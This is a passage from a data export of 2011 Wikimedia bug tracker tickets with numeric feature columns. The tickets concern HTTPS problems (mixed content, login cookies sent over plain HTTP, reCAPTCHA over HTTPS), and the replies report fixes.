**Severity**: normal",Needs Triage,90.0,1317818340,1317838205.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-q53anin55nkib5puohqc,task_description,invalid,True,c2,1,False,False,True,-99,True,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.7241379310344827,0.632183908045977,"**Author:** CODE

**Description:**
On the secure english wiki, enabling the gadget
(User:Pathoschild/Scripts/Regex menu framework) ""Add a sidebar menu of user-defined regex tools, with a dynamic form for instant one-use regex"" breaks the secure connection as the script is called from 
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
153785,User:Pathoschild/Scripts/Regex menu framework breaks HTTPS,"**M8R-udfkkf** wrote:

Gadgets on enwiki

It's listed under gadgets on the enwiki...

**Attached**: {F8340}",,,1318432692,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-q53anin55nkib5puohqc,task_subcomment,,True,c2,1,False,,,-98,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9393939393939394,0.6363636363636364,"**M8R-udfkkf** wrote:

Gadgets on enwiki

It's listed under gadgets on the enwiki...

**Attached**: {F8340}"
153780,User:Pathoschild/Scripts/Regex menu framework breaks HTTPS,This isn't a Gadget,,,1317838205,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-q53anin55nkib5puohqc,task_subcomment,,True,c2,1,True,,,-99,True,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,40.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,This isn't a Gadget
33355,"Logging out from ""https"" wikis shouldn't log out from ""http""","If I go to
https://www.mediawiki.org/w/index.php?title=Special:UserLogin
and mark the options
[x]Also log me in to other wikis of the Wikimedia Foundation
[x]Remember my login on this browser (for a maximum of 30 days)
I'll be logged in on https://www.mediawiki.org but NOT on http://www.mediawiki.org

If I go then to
http://www.mediawiki.org/w/index.php?title=Special:UserLogin
and log in using the same account, I'll be now logged on both http and https.

So far so good, but if I go to
https://www.mediawiki.org/w/index.php?title=Special:UserLogout
then what I would expect from the login proccess is to be logged out ONLY from https, but currently this is not the case and I'll be logged out from both http and https.

Could someone take a look into this?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1317759300,1317769811.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-hnxl3noxqwl6zvszj27n,task_description,declined,True,c2,1,False,False,True,-100,True,0.0,0.5,0.0,2.5,1.0,3.0,1.5,0.0,0.0,1.5,1.5,1.5,0.0,0.5,0.0,5.0,0.0,6.5,13.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,2.5,0.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,9.5,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,3.5,12.0,1.5,4.5,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,5.0,13.0,3.0,0.5,0.0,0.0,5.0,0.0,0.5,1.0,0.5,0.5,0.0,0.0,1.5,3.2468354430379747,0.620253164556962,"If I go to
URL
and mark the options
[x]Also log me in to other wikis of the Wikimedia Foundation
[x]Remember my login on this browser (for a maximum of 30 days)
I'll be logged in on URL but NOT on URL

If I go then to
URL
and log in using the same account, I'll be now logged on both http and https.

So far so good, but if I go to
URL
then what I would expect from the login proccess is to be logged out ONLY from https, but currently this is not the case and I'll be logged out from both http and https.

Could someone take a look into this?

--------------------------
**Version**: unspecified
**Severity**: normal"
151735,"Logging out from ""https"" wikis shouldn't log out from ""http""",Ok. I think I got it =),,,1317772200,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hnxl3noxqwl6zvszj27n,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.125,0.875,Ok. I think I got it =)
151728,"Logging out from ""https"" wikis shouldn't log out from ""http""","This is how it works, and is how it's supposed to do.

Changing it to separate them is just daft",,,1317769811,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hnxl3noxqwl6zvszj27n,task_subcomment,,True,c2,1,True,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,3.25,0.75,"This is how it works, and is how it's supposed to do.

Changing it to separate them is just daft"
151720,"Logging out from ""https"" wikis shouldn't log out from ""http""","This is expected behavior and on purpose.

It is only possible to be logged in using *one* account. Logging in with another will automatically log out the first one.

If you log in on HTTPS you don't want the session data to spill over an unsecure HTTP channel, which is why you aren't logged in there.

If you log in on HTTP you are okay with session data over an unsecure channel, but of course it's simpler if the login is available also over the secure channel.

Do you understand the idea?",,,1317769711,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-hnxl3noxqwl6zvszj27n,task_subcomment,,True,c2,1,True,,,-100,True,0.0,0.0,0.0,2.0,1.5,4.5,2.5,0.0,0.0,2.5,3.5,1.5,0.0,0.5,0.0,0.0,0.0,6.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,8.5,1.5,1.5,0.0,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,9.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,6.0,3.5,1.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,6.0,14.0,3.0,1.0,0.0,0.0,6.0,0.0,2.0,1.5,0.0,1.0,1.0,0.0,0.0,3.733501683501683,0.7521885521885522,"This is expected behavior and on purpose.

It is only possible to be logged in using *one* account. Logging in with another will automatically log out the first one.

If you log in on HTTPS you don't want the session data to spill over an unsecure HTTP channel, which is why you aren't logged in there.

If you log in on HTTP you are okay with session data over an unsecure channel, but of course it's simpler if the login is available also over the secure channel.

Do you understand the idea?"
151712,"Logging out from ""https"" wikis shouldn't log out from ""http""","(In reply to comment #0)
> and mark the options
> [x]Also log me in to other wikis of the Wikimedia Foundation
> [x]Remember my login on this browser (for a maximum of 30 days)

The problem also happens if I log without marking any of these options, so I don't think they make any difference.",,,1317759467,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hnxl3noxqwl6zvszj27n,task_subcomment,,True,c2,1,False,,,-100,True,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,18.0,5.0,0.0,10.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,8.0,15.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4358974358974357,0.8461538461538461,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

The problem also happens if I log without marking any of these options, so I don't think they make any difference."
33320,CentralAuth doesn't care about https,"Hi,

I think I've found a major issue in how CentralAuth handles https : when logging in with global login enabled, Special:UserLogin loads remote images from http://wikiwhatever/Special:AutoLogin?token=secrettoken (one image per project), while it should load them from http*s*://sameurl (when browsing using https, of course).

What happens is that cookies are sent unencrypted =/

I guess images should use protocol relative URLs as well.

Best regards,

-- 
Arkanosis@frwiki

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1317632280,1317639245.0,PHID-USER-irahijhmu2pqmwuewejz,False,,False,PHID-TASK-m4ezagm4urq344hqyod4,task_description,resolved,True,c2,1,False,False,True,-100,True,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,2.0,0.0,3.5,5.5,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,2.0,10.0,3.0,0.0,0.5,0.0,1.0,0.0,0.0,1.5,0.5,0.5,0.0,3.0,5.5,1.5,0.0,0.0,0.0,3.0,0.0,2.5,0.5,0.5,1.5,0.0,1.0,0.0,4.151669085631349,0.7614296081277214,"Hi,

I think I've found a major issue in how CentralAuth handles https : when logging in with global login enabled, Special:UserLogin loads remote images from URL (one image per project), while it should load them from http*s*://sameurl (when browsing using https, of course).

What happens is that cookies are sent unencrypted =/

I guess images should use protocol relative URLs as well.

Best regards,

-- 
Arkanosis@frwiki

--------------------------
**Version**: unspecified
**Severity**: major"
149249,CentralAuth doesn't care about https,Works for me too. Thanks a lot!,,,1317642983,,PHID-USER-irahijhmu2pqmwuewejz,False,,,PHID-TASK-m4ezagm4urq344hqyod4,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,2.7777777777777777,1.0,Works for me too. Thanks a lot!
149243,CentralAuth doesn't care about https,"Fixed in r98745, deployed just now and working for me.",,,1317639245,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-m4ezagm4urq344hqyod4,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,3.75,1.0,"Fixed in r98745, deployed just now and working for me."
149238,CentralAuth doesn't care about https,"Fine, thanks :)",,,1317633320,,PHID-USER-irahijhmu2pqmwuewejz,False,,,PHID-TASK-m4ezagm4urq344hqyod4,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,"Fine, thanks :)"
149233,CentralAuth doesn't care about https,"It's due to the switch between secure services. This issue is known, and will be handled today I've been told.",,,1317632668,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-m4ezagm4urq344hqyod4,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.64,0.96,"It's due to the switch between secure services. This issue is known, and will be handled today I've been told."
33278,Add HTTPS version of portal pages of projects,"http://www.wikipedia.org/ and other portals do not have HTTPS version, and links on https://secure.wikimedia.org/ (which looks like http://www.wikimedia.org/) are pointing to English site of projects directly.

Portal pages of projects should be added to HTTPS site and pointed to by links on secure portal of Wikimedia.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1317394380,1317646504.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-reeqk7k4rdaevbdferru,task_description,resolved,True,c2,0,False,False,True,-100,True,0.0,0.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.161764705882353,0.6470588235294118,"URL and other portals do not have HTTPS version, and links on URL (which looks like URL are pointing to English site of projects directly.

Portal pages of projects should be added to HTTPS site and pointed to by links on secure portal of Wikimedia.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
146951,Add HTTPS version of portal pages of projects,"Fixed now, see https://www.wikipedia.org/",,,1317646504,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-reeqk7k4rdaevbdferru,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"Fixed now, see URL"
146944,Add HTTPS version of portal pages of projects,We intend to deploy full HTTPS support next week if not today. That will make this request obsolete.,,,1317394802,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-reeqk7k4rdaevbdferru,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.95,We intend to deploy full HTTPS support next week if not today. That will make this request obsolete.
146938,Add HTTPS version of portal pages of projects,I guess this is going to be fixed by just having the rest of the HTTPS migration...,,,1317394700,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-reeqk7k4rdaevbdferru,task_subcomment,,True,c2,0,True,,,-100,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.7222222222222223,0.9444444444444444,I guess this is going to be fixed by just having the rest of the HTTPS migration...
33252,ConfirmEdit: reCAPTCHA HTTPS support,"The current reCAPTCHA module in ConfirmEdit does not support loading the CAPTCHA  via HTTPS. This will cause ""insecure content loaded"" warnings when browsing on an HTTPS-enabled wiki.

To get support for this, two changes are needed:
* Update recaptchalib.php to the current version as provided by Google. The bundled version in ConfirmEdit still has the old host names, while Google uses google.com, especially for the HTTPS service. There are redirects in place, but they might cause certificate warnings.

* Use a HTTPS url when the wiki request itself was made via HTTPS as well.

I'll attach patches for both.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1317315060,1317332487.0,PHID-USER-kmvhdtvjdr6qmqwsd6np,False,,False,PHID-TASK-eatssdlx72n5vflkviqp,task_description,resolved,True,c2,0,False,False,True,-100,True,0.0,0.0,0.0,1.0,0.5,3.5,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.5,0.5,0.0,4.5,8.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,5.0,2.0,12.0,2.0,0.5,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.0,8.0,5.0,0.0,1.0,0.0,2.0,0.0,1.0,1.0,0.5,1.0,0.0,0.0,1.0,4.293581780538302,0.7621118012422361,"The current reCAPTCHA module in ConfirmEdit does not support loading the CAPTCHA  via HTTPS. This will cause ""insecure content loaded"" warnings when browsing on an HTTPS-enabled wiki.

To get support for this, two changes are needed:
* Update recaptchalib.php to the current version as provided by Google. The bundled version in ConfirmEdit still has the old host names, while Google uses google.com, especially for the HTTPS service. There are redirects in place, but they might cause certificate warnings.

* Use a HTTPS url when the wiki request itself was made via HTTPS as well.

I'll attach patches for both.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
145318,ConfirmEdit: reCAPTCHA HTTPS support,"Nice catch, thanks!

Applied on trunk in r98461, REL1_18 in r98465. I don't think we have it enabled on our own production wikis, so not worrying about 1.18wmf1 tweaks atm.

ReCaptcha isn't in the 1.17 version of ConfirmEdit, but in case the 1.18 or trunk versions get used on 1.17 and are otherwise compatible I've replaced the WebRequest::detectProtocol() call with a direct check on $_SERVER['HTTPS'].

Confirmed that this resolves mixed-content security errors on captcha display on one of my sites when run over https. Yay!",,,1317332487,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-eatssdlx72n5vflkviqp,task_subcomment,,True,c2,0,True,,,-100,True,0.0,0.0,0.0,0.0,1.5,4.0,1.5,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.5,0.0,4.0,11.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,13.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,3.0,1.5,7.5,2.0,2.0,4.0,0.0,0.0,1.5,0.0,1.5,0.0,3.5,0.0,4.0,11.5,3.5,0.0,1.0,0.0,4.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,4.1038720538720534,0.8629629629629629,"Nice catch, thanks!

Applied on trunk in r98461, REL1_18 in r98465. I don't think we have it enabled on our own production wikis, so not worrying about 1.18wmf1 tweaks atm.

ReCaptcha isn't in the 1.17 version of ConfirmEdit, but in case the 1.18 or trunk versions get used on 1.17 and are otherwise compatible I've replaced the WebRequest::detectProtocol() call with a direct check on $_SERVER['HTTPS'].

Confirmed that this resolves mixed-content security errors on captcha display on one of my sites when run over https. Yay!"
145313,ConfirmEdit: reCAPTCHA HTTPS support,"Created attachment 9125
Enables HTTPS support when requesting the CAPTCHA

**Attached**: {F8023}",,,1317315146,,PHID-USER-kmvhdtvjdr6qmqwsd6np,False,,,PHID-TASK-eatssdlx72n5vflkviqp,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,29.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.142857142857143,0.8571428571428571,"Created attachment 9125
Enables HTTPS support when requesting the CAPTCHA

**Attached**: {F8023}"
145309,ConfirmEdit: reCAPTCHA HTTPS support,"Created attachment 9124
Updates recaptchalib.php to the most recent version provided by Google

**Attached**: {F8022}",,,1317315122,,PHID-USER-kmvhdtvjdr6qmqwsd6np,False,,,PHID-TASK-eatssdlx72n5vflkviqp,task_subcomment,,True,c2,0,False,,,-100,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.375,0.875,"Created attachment 9124
Updates recaptchalib.php to the most recent version provided by Google

**Attached**: {F8022}"
33191,"""Not logged in"" p-personal javascript should not be triggered after login","**Author:** `romaine.wiki`

**Description:**
When I am not logged in it shows (in Dutch): Niet aangemeld    Overlegpagina IP-adres    Bijdragen IP-adres

When I am logged in it shows: Romaine    Overleg    Voorkeuren    Volglijst    Bijdragen    Afmelden

But the first page I see when I log in is: Romaine    Overleg    Voorkeuren    Volglijst    Bijdragen    Afmelden    Niet aangemeld    Overlegpagina IP-adres    Bijdragen IP-adres

And that last one isn't correct, it shows the top two lines together.

Greetings - Romaine

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1317146820,1317151388.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-yg2co3ad6uwqhmpt7xn2,task_description,resolved,True,c2,0,False,False,True,-101,True,0.0,0.0,0.0,1.0,1.5,4.5,1.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,2.0,0.0,3.5,3.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,2.5,23.0,2.5,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,3.0,18.5,0.0,0.0,0.0,4.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.949570330167345,0.594075079149706,"**Author:** CODE

**Description:**
When I am not logged in it shows (in Dutch): Niet aangemeld    Overlegpagina IP-adres    Bijdragen IP-adres

